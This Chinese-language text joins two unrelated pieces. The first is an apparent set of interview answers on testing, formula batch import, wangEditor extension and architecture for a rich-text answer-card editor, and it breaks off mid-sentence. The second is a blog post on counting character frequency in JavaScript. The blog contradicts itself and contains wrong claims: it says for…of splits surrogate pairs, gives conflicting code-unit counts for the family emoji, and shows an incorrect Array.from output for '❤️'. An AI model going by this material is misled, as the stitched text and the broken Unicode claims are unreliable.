      • 用例 1:在 Windows 10(PC)、macOS Monterey(笔记本)中,验证快捷键(Ctrl+K/Cmd+K)正常工作;

      • 用例 2:在 iPad(iOS 16)、Android 平板(Android 13)中,验证手写输入 LaTeX(需配合第三方输入法)时,公式能正确识别并渲染;

      • 用例 3:在低配置 PC(4GB 内存、Intel i3 处理器)中,验证批量插入 20 个公式时,页面无卡顿,操作响应延迟≤100ms。

  3. 无障碍测试用例

    • 屏幕阅读器兼容性

      • 用例 1:使用 NVDA(Windows)+Chrome,验证唤起公式编辑器时,屏幕阅读器播报 “进入公式编辑模式,可输入 LaTeX 语法”;

      • 用例 2:使用 VoiceOver(macOS)+Safari,验证输入\frac时,播报 “输入分数命令,等待分子分母输入”;

      • 用例 3:使用 JAWS(Windows)+Edge,验证公式插入成功后,播报 “公式插入成功,位于当前段落第 3 个位置”;

      • 用例 4:公式语法错误时,验证屏幕阅读器播报 “公式语法错误,请检查括号匹配”,无遗漏提示。

    • 键盘操作流畅性

      • 用例 1:仅使用键盘(无鼠标),验证能通过Alt+F唤起公式编辑器、Tab切换输入框、Enter确认插入、Esc取消编辑;

      • 用例 2:编辑公式时,通过Left/Right键移动光标,验证屏幕阅读器准确播报光标位置(如 “光标位于分子末尾”);

      • 用例 3:删除公式时,通过Ctrl+A选中公式后按Delete,验证操作成功且无焦点丢失;

      • 用例 4:遍历所有功能按钮(工具栏、公式编辑器按钮),验证每个按钮均有焦点,且焦点顺序符合操作逻辑(从左到右、从上到下)。

  4. 测试工具与方法

    • 功能测试工具

      • 自动化测试:使用 Cypress 框架编写 E2E 测试脚本,模拟用户操作(如输入公式、点击按钮、验证 DOM 元素),覆盖 80% 核心功能,脚本示例:

        it('插入基础公式并验证渲染', () => {
        
          cy.visit('/answer-card');
        
          cy.get('.toolbar-btn-formula').click(); // 点击插入公式按钮
        
          cy.get('#formula-input').type('x+y=5'); // 输入LaTeX
        
          cy.get('.formula-confirm-btn').click(); // 确认插入
        
          cy.get('.formula-node').should('have.length', 1); // 验证公式节点存在
        
          cy.get('.formula-node svg').should('exist'); // 验证SVG渲染
        
        });
        
        • 手动测试:构建测试用例表,由测试人员逐项执行,记录异常情况(如截图、日志),重点覆盖自动化脚本未覆盖的边缘场景(如异常数据、网络中断)。

    • 兼容性测试工具

      • 使用 BrowserStack 模拟不同浏览器(含旧版本)和设备,远程执行测试用例,节省本地环境搭建成本;

      • 使用 Chrome DevTools 的 “设备工具栏” 模拟移动端设备,快速验证响应式布局和触摸操作。

    • 无障碍测试工具

      • 使用 axe DevTools(浏览器插件)扫描页面,检测无障碍问题(如缺少aria-label、焦点不可见、对比度不足),生成测试报告;

      • 使用 WAVE(Web Accessibility Evaluation Tool)可视化展示无障碍问题(如用图标标记缺失的替代文本、错误的 ARIA 属性);

      • 邀请视障用户进行真实场景测试,收集使用反馈(如语音播报是否清晰、操作是否便捷),优化用户体验。

    • 性能测试工具

      • 使用 Chrome DevTools 的 “Performance” 面板录制用户高频操作(如连续输入公式),分析帧率、重排重绘次数、内存占用;

      • 使用 Lighthouse 定期执行性能审计,生成性能得分和优化建议,确保核心指标(LCP、FID、CLS)达标;

      • 使用 JMeter 模拟 100 用户同时编辑答题卡,测试后端接口的并发处理能力,确保数据提交无延迟或丢失。

第 8 题答案:“公式批量导入” 功能技术方案

  1. 核心技术问题分析

    • 多格式文件解析:Word(.docx)、LaTeX(.tex)文件的公式存储格式差异大(Word 用 OMML 格式,LaTeX 用原生 LaTeX 语法),需开发不同解析器,确保公式数据准确提取;

    • 公式冲突处理:批量导入时,公式可能与答题卡现有内容(文本、公式)重叠,需设计冲突检测和处理逻辑,避免内容覆盖;

    • 大数据量性能保障:导入 100 + 公式时,可能出现页面卡顿、内存溢出、渲染延迟,需优化解析和渲染流程;

    • 异常中断恢复:导入过程中若出现网络中断、页面刷新,需支持断点续传,避免重复导入或数据丢失。

  2. 技术实现思路

    • 步骤 1:文件上传与格式识别

      • 前端提供文件上传组件(支持多文件同时上传,单个文件大小≤10MB),通过文件后缀(.docx/.tex)或 MIME 类型(application/vnd.openxmlformats-officedocument.wordprocessingml.document/text/x-tex)识别文件格式;

      • 对 Word 文件,使用docx.js(前端库)解析文档结构,提取包含公式的段落(OMML 格式存储在w:math标签中);对 LaTeX 文件,使用latex-parser库解析文本,提取\[...\]\(...\)包裹的公式内容。

    • 步骤 2:公式数据提取与转换

      • Word 文件解析

        • 使用docx.jsgetMathContent()方法提取 OMML 格式公式,通过omml-to-latex库将 OMML 转换为标准 LaTeX 语法(如将 Word 中的分数格式转换为\frac{}{});

        • 验证转换后的 LaTeX 合法性(调用 kityFormula 的validateLatex方法),若转换失败(如复杂公式不支持),记录失败公式位置(如 “第 3 段第 2 个公式”),后续提示用户手动编辑。

      • LaTeX 文件解析

        • 解析.tex文件中的公式块(排除注释中的公式,如% \[x=1\]),支持标准 LaTeX 环境(如equationalign);

        • 处理 LaTeX 宏定义(如\def\abc{x+y}),替换宏为实际内容后再提取公式,避免解析错误。

    • 步骤 3:冲突检测与处理

      • 冲突检测:导入前,获取答题卡当前光标位置和内容范围,若导入区域已存在文本或公式,判定为 “位置冲突”;若导入的公式 ID 与formulaMap中现有 ID 重复,判定为 “ID 冲突”;

      • 冲突处理策略

        • 位置冲突:提供 3 种选项 ——“覆盖现有内容”“插入到现有内容之前”“插入到现有内容之后”,由用户选择;

        • ID 冲突:自动生成新 ID(如f123_import_1),更新公式数据中的id字段,确保与现有数据不重复;

        • 格式冲突:若导入公式的 SVG 尺寸(如宽度>500px)超出答题卡编辑区域,自动缩放至适配尺寸(如最大宽度 300px),同时保留原始尺寸数据(存储在originalSvgSize字段),支持用户手动调整。

    • 步骤 4:批量导入与进度展示

      • 分批次导入:将提取的公式列表按 20 个 / 批次拆分,使用requestIdleCallbacksetTimeout控制导入节奏,避免阻塞主线程;每批次导入完成后,更新formulaMap和富文本 HTML,确保数据实时同步;

      • 进度展示:在页面顶部显示导入进度条(如 “已导入 15/50 个公式”),同时通过aria-live="polite"区域播报进度(“公式批量导入中,已完成 30%”),适配无障碍需求;导入成功后,弹出提示框(“50 个公式全部导入成功,其中 2 个公式需手动调整格式”),并提供 “查看失败公式” 按钮,引导用户处理异常。

    • 步骤 5:异常中断恢复

      • 断点数据存储:每成功导入 1 个公式,将已导入的公式 ID 列表(如['f123_import_1', 'f123_import_2'])和当前批次号(如2)存储到sessionStorage(key: batchImport_${taskId}),taskId为每次导入任务生成的唯一标识(基于时间戳 + 随机数);

      • 中断检测与恢复:页面刷新或重新进入后,检测sessionStorage中是否存在未完成的导入任务,若存在,弹出提示框(“检测到未完成的批量导入任务,是否继续?”);用户选择 “继续” 后,从sessionStorage读取已导入 ID 列表和批次号,跳过已导入公式,直接从下一批次开始导入;

      • 失败回滚机制:若某一批次导入失败(如网络错误、公式渲染异常),自动回滚该批次所有公式(删除已插入的 DOM 节点、移除formulaMap中的对应数据),并在进度条上标记失败位置(如 “第 3 批次导入失败,点击重试”);用户点击重试后,重新解析该批次公式并导入,避免数据残留。

  3. 关键技术难点与解决方案

    • 难点 1:Word 文件中 OMML 格式转 LaTeX 的精度问题

      • 问题描述:Word 的 OMML 格式包含大量私有属性(如自定义公式样式、特殊符号映射),部分复杂公式(如矩阵、分段函数)转换后可能出现语法错误或格式偏差;

      • 解决方案:

        • 基于omml-to-latex库进行二次开发,扩展特殊符号映射表(如将 Word 中的\u221A映射为 LaTeX 的\sqrt{}),覆盖 95% 以上的常用符号;

        • 对矩阵、分段函数等复杂结构,自定义转换规则:例如,将 OMML 中的矩阵行结构<m:mr>转换为 LaTeX 的\begin{pmatrix} ... \end{pmatrix},并自动补全缺失的分隔符(如,);

        • 转换后调用 kityFormula 的validateLatex方法进行语法校验,若校验失败,使用 “截图 + 文本描述” 的方式降级处理(如插入公式截图,并标注 “该公式无法自动转换,建议手动输入 LaTeX”)。

    • 难点 2:大数据量公式导入的内存占用问题

      • 问题描述:导入 100 + 公式时,每个公式的 SVG 节点(平均大小 5KB)和关联事件监听会导致内存占用快速上升,可能引发页面卡顿或崩溃;

      • 解决方案:

        • 采用 “虚拟渲染” 策略:导入过程中仅渲染当前可视区域的公式,非可视区域的公式暂存为<!--formula:xxx-->注释,当用户滚动页面时,通过IntersectionObserver检测公式节点是否进入视口,再动态替换为 SVG;

        • 批量清理事件监听:导入完成后,统一为所有公式节点绑定事件委托(document.addEventListener('click', (e) => { if (e.target.closest('.formula-node')) { 处理编辑逻辑 } })),替代单个节点绑定事件,减少内存占用(实测 100 个公式的事件监听数量从 100 个降至 1 个);

        • 定期内存回收:导入完成后,调用window.gc()(需浏览器开启相关配置)或通过setTimeout延迟释放解析过程中生成的临时变量(如文件解析器实例、临时 DOM 节点),降低内存峰值。

    • 难点 3:跨浏览器的文件解析兼容性

      • 问题描述:docx.jslatex-parser在部分浏览器(如 Safari 14)中存在 API 兼容性问题(如ReadableStream不支持),导致文件无法解析;

      • 解决方案:

        • 使用core-jsregenerator-runtime对 ES6+ API 进行 polyfill,确保ReadableStreamPromise.allSettled等 API 在低版本浏览器中可用;

        • 对无法支持前端解析的浏览器(如 IE11),提供 “后端解析” 降级方案:用户上传文件后,前端将文件通过 FormData 提交至后端,后端使用python-docx(解析 Word)和pyparsing(解析 LaTeX)提取公式数据,转换为 JSON 后返回给前端,前端再执行导入逻辑;

        • 在文件上传组件中添加浏览器兼容性检测,若检测到不支持前端解析,自动切换至后端解析模式,并提示用户 “当前浏览器不支持本地解析,将使用服务器解析,可能耗时稍长”。

第 9 题答案:wangEditor 源码修改与扩展机制使用

  1. 项目中是否修改 wangEditor 源码?

    • 结论:仅在 1 个场景下修改了 wangEditor 源码(v5.1.23 版本),其余定制化需求均通过官方扩展机制实现,核心原则是 “能通过扩展解决的,不修改源码”,避免后续版本升级时的代码冲突。
  2. 源码修改场景与内容

    • 修改场景:解决 “公式节点被选中时,wangEditor 原生格式刷功能误将公式格式应用到文本” 的问题;

    • 问题根源:wangEditor 的格式刷功能(formatPainter)会遍历选中区域的所有 DOM 节点,提取styleclass等格式信息,若选中区域包含公式 SVG 节点,会误将 SVG 的widthheightfill等样式提取为 “文本格式”,应用到其他文本时导致样式错乱(如文本变成蓝色、固定宽度);

    • 修改内容

      • 找到 wangEditor 源码中packages/core/src/module/format-painter.ts文件的getFormatData函数(负责提取选中区域格式);

      • 在函数中添加公式节点过滤逻辑:

        // 新增:过滤公式节点(含data-is-formula属性的节点)
        
        const isFormulaNode = (node: Node) => {
        
          return node.nodeType === 1 && (node as HTMLElement).dataset.isFormula === 'true';
        
        };
        
        // 修改:遍历节点时跳过公式节点
        
        const traverseNode = (node: Node) => {
        
          if (isFormulaNode(node)) return; // 跳过公式节点
        
          // 原有遍历逻辑...
        
        };
        
    • 修改后的兼容性保障

      • 记录修改日志:在项目docs/``wangEditor-modify-log.md中详细记录修改文件路径、函数名称、修改原因和代码内容,便于后续版本升级时追溯;

      • 版本锁定与升级策略:修改后暂时锁定 wangEditor 版本为 v5.1.23,后续升级时(如升级至 v5.2.0),先在测试环境中合并源码修改(对比新版本format-painter.ts文件,重新添加过滤逻辑),再进行功能测试,确保修改后的功能正常;

      • 提交 PR 至官方:将该过滤逻辑整理为 PR(Pull Request)提交至 wangEditor GitHub 仓库,说明使用场景和问题解决效果,若官方采纳,后续版本可直接移除源码修改,降低维护成本。

  3. 基于官方扩展机制的定制化实现(未修改源码场景)

    • 扩展机制 1:插件(Plugin)

      • 使用场景:集成 kityFormula 公式输入功能;

      • 实现细节

        • 基于wangEditor-plugin-base创建自定义插件FormulaPlugin,实现initdestroy等生命周期方法;

        • init方法中:

  4. 注册工具栏按钮:通过editor.ui.registerMenuButton('formula', { icon: '公式', click: () => { 唤起kityFormula编辑器 } })

  5. 注册命令:通过editor.cmd.register('insertFormula', (formulaData) => { 生成公式DOM节点并插入到光标位置 })

  6. 监听编辑器事件:通过editor.on('destroy', () => { 销毁kityFormula编辑器实例,避免内存泄漏 })

    • 优势:插件与编辑器核心逻辑解耦,可独立开发、测试和升级,移除插件时仅需调用editor.plugins.unregister('FormulaPlugin'),无残留代码。

    • 扩展机制 2:钩子函数(Hook)

      • 使用场景:限制填空题输入框的文本长度(最多 50 字符);

      • 实现细节

        • 使用editor.hooks.on('beforeInput', (context) => {钩子函数,在用户输入前拦截输入事件;

        • 在钩子函数中判断当前编辑节点是否为填空题输入框(context.node.closest('.blank-input')),若是,检查输入后文本长度是否超过 50 字符:

          editor.hooks.on('beforeInput', (context) => {
          
            const blankInput = context.node.closest('.blank-input');
          
            if (blankInput) {
          
              const currentText = blankInput.value;
          
              const inputText = context.data; // 即将输入的文本
          
              if (currentText.length + inputText.length > 50) {
          
                context.preventDefault(); // 阻止输入
          
                // 显示错误提示
          
                blankInput.classList.add('input-error');
          
                setTimeout(() => blankInput.classList.remove('input-error'), 2000);
          
              }
          
            }
          
          });
          
        • 优势:无需修改编辑器输入逻辑,通过钩子函数实现 “无侵入式” 拦截,兼容性强,升级编辑器版本时无需调整。

    • 扩展机制 3:自定义节点(Custom Node)

      • 使用场景:实现 “带评分项的简答题节点”(如<div class="question-essay" data-score="10">...</div>),支持在编辑器中可视化编辑评分值;

      • 实现细节

        • 继承 wangEditor 的ElementNode类,创建EssayQuestionNode,重写render方法(生成包含评分输入框的 DOM 结构)和setValue方法(处理评分值更新);

        • 注册自定义节点:通过editor.schema.registerNode(EssayQuestionNode),并配置节点的 “可编辑区域”(仅允许修改评分值和文本内容,禁止删除节点容器);

        • 在工具栏添加 “插入简答题” 按钮,点击后通过editor.cmd.do('insertNode', new EssayQuestionNode({ score: 10 }))插入自定义节点;

      • 优势:自定义节点拥有独立的渲染和交互逻辑,可复用性强,后续新增 “带难度系数的题目节点” 时,可基于相同机制快速开发。

第 10 题答案:项目架构设计与迭代管理

  1. 代码模块划分(基于 “高内聚、低耦合” 原则)

    • 核心模块划分
    模块名称 职责范围 对外接口(API)
    rich-editor wangEditor 初始化、基础配置、事件监听(如内容变化、光标移动) initEditor(config)destroyEditor()getEditorContent()setEditorContent(html)
    formula-handler kityFormula 集成、公式渲染、LaTeX 解析、公式数据管理(formulaMap) initFormulaEditor()renderFormula(latex)getFormulaData(id)saveFormulaData(data)
    question-manager 题型模板管理、题型交互逻辑(如填空题输入限制、计算题公式区域控制) registerQuestionType(type, config)insertQuestion(type)getQuestionState()
    accessibility 无障碍优化(屏幕阅读器支持、键盘操作、焦点管理) initA11ySupport(editor)updateAriaLive(text)setFocusableElements(elements)
    data-storage 数据存储(localStorage/sessionStorage)、数据解析、回显、提交验证 saveData(key, data)loadData(key)parseContentHtml(html)validateSubmitData()
    batch-import 公式批量导入(文件解析、进度管理、异常恢复) initBatchImport(editor)startImport(files)cancelImport(taskId)
    • 模块间通信方式

      • 事件总线(Event Bus):使用mitt库创建全局事件总线,模块间通过 “发布 - 订阅” 模式通信,例如:

        • formula-handler模块发布formula:inserted事件(携带公式 ID);

        • data-storage模块订阅该事件,同步更新公式数据到本地存储;

        • 优势:避免模块间直接依赖,新增模块时只需订阅相关事件,无需修改现有代码;

      • 接口调用:核心模块对外暴露明确的 API(如rich-editorgetEditorContent()),其他模块通过调用 API 获取数据或执行操作,例如question-manager模块调用rich-editorsetEditorContent(html)插入题型模板;

      • 状态共享:使用Vuex(若项目基于 Vue)或Redux(若基于 React)管理全局状态(如当前编辑的答题卡 ID、公式批量导入进度),模块通过 “获取状态 - 修改状态” 实现数据同步,避免状态分散。

  2. 代码规范与文档建设

    • 代码规范

      • 遵循Airbnb JavaScript Style Guide,使用ESLintPrettier进行代码检查和格式化,配置强制校验规则(如禁止未声明变量、强制使用箭头函数),确保代码风格统一;

      • 模块命名规范:使用 “功能 + 类型” 命名(如formula-render.tsquestion-template.js),避免模糊命名(如utils.js);

      • 注释规范:函数需添加 JSDoc 注释(说明参数、返回值、异常情况),复杂逻辑需添加行内注释(如公式解析规则、状态判断条件),示例:

        /*
        
         * 渲染LaTeX公式为SVG
        
         * @param {string} latex - LaTeX源码
        
         * @param {object} options - 渲染配置(width: 最大宽度, height: 最大高度)
        
         * @returns {string} SVG字符串
        
         * @throws {Error} 当LaTeX语法错误时抛出异常
        
         */
        
        function renderFormula(latex, options) {
        
          // 校验LaTeX语法
        
          if (!validateLatex(latex)) {
        
            throw new Error(`LaTeX语法错误: ${latex}`);
        
          }
        
          // 渲染逻辑...
        
        }
        
    • 文档建设

      • API 文档:使用JSDoc自动生成模块 API 文档(通过jsdoc工具),托管在项目 GitHub Pages,包含每个 API 的参数说明、返回值、使用示例,例如formula-handler模块的renderFormula方法文档;

      • 开发手册:在docs/development.md中记录开发流程(如环境搭建、分支管理、提交规范)、常见问题解决方案(如 wangEditor 版本升级步骤、公式渲染失败排查);

      • 用户手册:为最终用户(如教师)编写操作手册,包含富文本编辑、公式输入、批量导入的步骤说明,配截图和快捷键列表,降低使用门槛。

  3. 迭代过程中的版本管理与兼容性保障

    • 版本管理

      • 采用Semantic Versioning(语义化版本):主版本号(X.y.z)表示不兼容的 API 变更(如修改getEditorContent()返回格式),次版本号(x.Y.z)表示向后兼容的功能新增(如新增 “公式批量导入”),修订号(x.y.Z)表示向后兼容的问题修复(如修复公式语法错误提示 bug);

      • 分支管理:使用Git Flow工作流,main分支保持稳定版本,develop分支用于开发,feature/*分支(如feature/batch-import)用于开发新功能,hotfix/*分支用于紧急修复线上 bug;新功能开发完成后,合并到develop分支测试,测试通过后合并到main分支并发布版本。

    • 新旧功能兼容性保障

      • 向前兼容:新增功能时确保不影响旧功能,例如新增 “公式批量导入” 时,不修改现有 “单个公式插入” 的逻辑,仅新增独立模块和工具栏按钮;

      • 数据兼容:若需修改数据存储格式(如公式 JSON 新增version字段),需在data-storage模块中添加数据迁移逻辑,例如:

🔥🔥🔥收藏!面试常问JavaScript 中统计字符出现频率,一次弄懂!

2025年10月17日 08:52

关键词:字符频率、HashMap、Map、reduce、性能、Unicode、前端算法


一、前言:为什么“数字符”也会踩坑?

面试题里常出现这样一道“送分题”:
“给定任意字符串,统计每个字符出现的次数。”

很多小伙伴提笔就写:

const count = {};
for (let i = 0; i < str.length; i++) {
  count[str[i]] = (count[str[i]] || 0) + 1;
}

跑一下 "héllo👨‍👩‍👧‍👦",瞬间裂开:

  1. é 被拆成 e + ́
  2. emoji 家族直接乱成 8 个码元
  3. 中文标点、空格、换行全混在一起

这篇文章带你从“能跑”到“健壮”,覆盖:

  • ✅ ES6 之后最简写法
  • ✅ Unicode 安全(emoji、生僻汉字、组合字符)
  • ✅ 大小写/空白/标点过滤
  • ✅ 按频率排序并输出 TopN
  • ✅ 性能对比 & 内存占用
  • ✅ TypeScript 类型声明
  • ✅ 单元测试用例(Jest)

二、基础知识:字符串到底“长”什么样?

1. UTF-16 与码元

JavaScript 内部采用 UTF-16
一个“字符”在引擎眼里可能是:

  • 1 个码元(BMP,U+0000 ~ U+FFFF)
  • 2 个码元(代理对,SMP,emoji 常见)
"😊".length === 2   // 不是 1!

2. 组合字符(Combining Characters)

é 可以是一个码点(U+00E9),也可以是 e + ́ (U+0301) 两个码点。
肉眼看起来是一个“字符”,但码点长度不同。

3. 视觉字形 vs 字素簇(Grapheme Cluster)

Unicode 引入“字素簇”概念:用户眼中“不可再分割”的最小单元。
👨‍👩‍👧‍👦 由 4 个 emoji + 3 个 ZWJ(零宽连接符)组成,长度是 11 个码元,但用户看来只有 1 个“家庭”图标。


三、四种主流实现对比

方案 是否 Unicode 安全 代码量 性能 备注
for…of + Object ✅ BMP 最快 代理对会被拆
Array.from + Map ✅ 代理对 不支持字素簇
Intl.Segmenter ✅ 字素簇 较慢 浏览器新 API
第三方库 grapheme-splitter ✅ 字素簇 包体积 6 kB

结论:根据场景选工具

  • 纯中文/英文 → for…of 足够
  • 含 emoji → Array.fromSegmenter
  • 严谨排版/国际化 → 字素簇库

四、代码实战

1. 最快简版(BMP 安全)

function freqBasic(str) {
  const freq = Object.create(null); // 无原型污染
  for (const ch of str) {           // of 遍历码点
    freq[ch] = (freq[ch] || 0) + 1;
  }
  return freq;
}

console.log(freqBasic("abbccc"));
// { a: 1, b: 2, c: 3 }

2. emoji 安全版(代理对)

function freqEmoji(str) {
  const freq = new Map();
  // Array.from 按“码点”分割,不会拆代理对
  for (const ch of Array.from(str)) {
    freq.set(ch, (freq.get(ch) || 0) + 1);
  }
  return freq;
}

console.log(freqEmoji("👍👍❤️"));
// Map(2) { '👍' => 2, '❤️' => 1 }

3. 字素簇终极版(Segmenter)

function freqGrapheme(str) {
  const freq = new Map();
  const segmenter = new Intl.Segmenter("zh", { granularity: "grapheme" });
  for (const { segment } of segmenter.segment(str)) {
    freq.set(segment, (freq.get(segment) || 0) + 1);
  }
  return freq;
}

console.log(freqGrapheme("👨‍👩‍👧‍👦👨‍👩‍👧‍👦"));
// Map(1) { '👨‍👩‍👧‍👦' => 2 }

兼容性:Segmenter 2022 年已进 Chrome 103+、Edge、Safari 16+,Firefox 115+。
旧浏览器可降级为 grapheme-splitter

npm i grapheme-splitter
import GraphemeSplitter from "grapheme-splitter";
const splitter = new GraphemeSplitter();
function freqFallback(str) {
  const freq = new Map();
  for (const g of splitter.iterateGraphemes(str)) {
    freq.set(g, (freq.get(g) || 0) + 1);
  }
  return freq;
}

五、业务扩展:过滤 & 排序 & TopN

1. 忽略大小写 + 排除空白/标点

function freqAlpha(str) {
  const freq = new Map();
  for (const ch of Array.from(str)) {
    if (/\p{L}|\p{N}/u.test(ch)) {      // Unicode 属性转义
      const key = ch.toLowerCase();
      freq.set(key, (freq.get(key) || 0) + 1);
    }
  }
  return freq;
}

2. 按频率倒序并取 Top5

function topN(str, n = 5) {
  const freq = freqEmoji(str); // 任选上面实现
  return [...freq.entries()]
    .sort((a, b) => b[1] - a[1])
    .slice(0, n);
}

console.log(topN("mississippi", 3));
// [ [ 'i', 4 ], [ 's', 4 ], [ 'p', 2 ] ]

六、性能 Benchmark

测试字符串:5 MB 英文小说 + 1k 个 emoji
硬件:M1 Mac / Node 20

方案 ops/sec 内存峰值
for…of Object 1 220 000
Array.from Map 980 000
Intl.Segmenter 180 000
grapheme-splitter 240 000

结论:

  • 纯英文场景 for…of 遥遥领先
  • emoji 密集Array.from 是性能与兼容性最佳平衡
  • 字素簇需求优先考虑 Segmenter,其次 splitter

七、TypeScript 类型加持

type FreqMap = Map<string, number>;
type FreqObj = Record<string, number>;

function freqBasic(str: string): FreqObj {
  const freq: FreqObj = Object.create(null);
  for (const ch of str) {
    freq[ch] = (freq[ch] || 0) + 1;
  }
  return freq;
}

八、单元测试(Jest)

import { freqEmoji, topN } from "./freq";

describe("freqEmoji", () => {
  test("emoji", () => {
    const m = freqEmoji("👍👍❤️");
    expect(m.get("👍")).toBe(2);
    expect(m.get("❤️")).toBe(1);
  });
  test("empty", () => {
    expect(freqEmoji("")).toEqual(new Map());
  });
});

describe("topN", () => {
  test("sort", () => {
    expect(topN("aabbbc", 2)).toEqual([["b", 3], ["a", 2]]);
  });
});

九、常见坑汇总

现象 解决
str[i] 遍历 拆代理对 for…ofArray.from
组合字符 é 被算两次 字素簇分割
原型污染 __proto__ 被当键 Object.create(null)
大小写混淆 A ≠ a 统一 .toLowerCase()
正则遗漏 过滤不掉中文标点 \p{P} Unicode 属性

十、一句话总结

先确认“字符”定义,再选分割工具,最后 Hash 计数——
简单场景 for…of 一把梭,emoji 上来 Array.from,严谨排版请找 字素簇


附录:浏览器兼容速查

  • for…of:ES2015,全绿
  • Array.from:ES2015,IE11 需 polyfill
  • Intl.Segmenter:见 caniuse
  • grapheme-splitter:零依赖,兼容到 IE9
❌
❌